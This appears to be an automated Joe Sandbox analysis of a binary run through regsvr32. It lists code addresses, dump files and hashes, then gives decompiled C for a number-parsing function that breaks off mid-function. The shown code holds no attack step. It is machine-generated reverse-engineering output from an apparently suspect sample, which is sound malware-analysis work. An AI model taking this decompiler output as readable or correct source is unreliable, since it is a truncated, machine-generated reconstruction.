0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: a30dfc58f1ea550fa34a81579aba6f96db66348b02ee9eb6deb3c4e670897299
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: a30dfc58f1ea550fa34a81579aba6f96db66348b02ee9eb6deb3c4e670897299
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 00418701 Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00418701(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
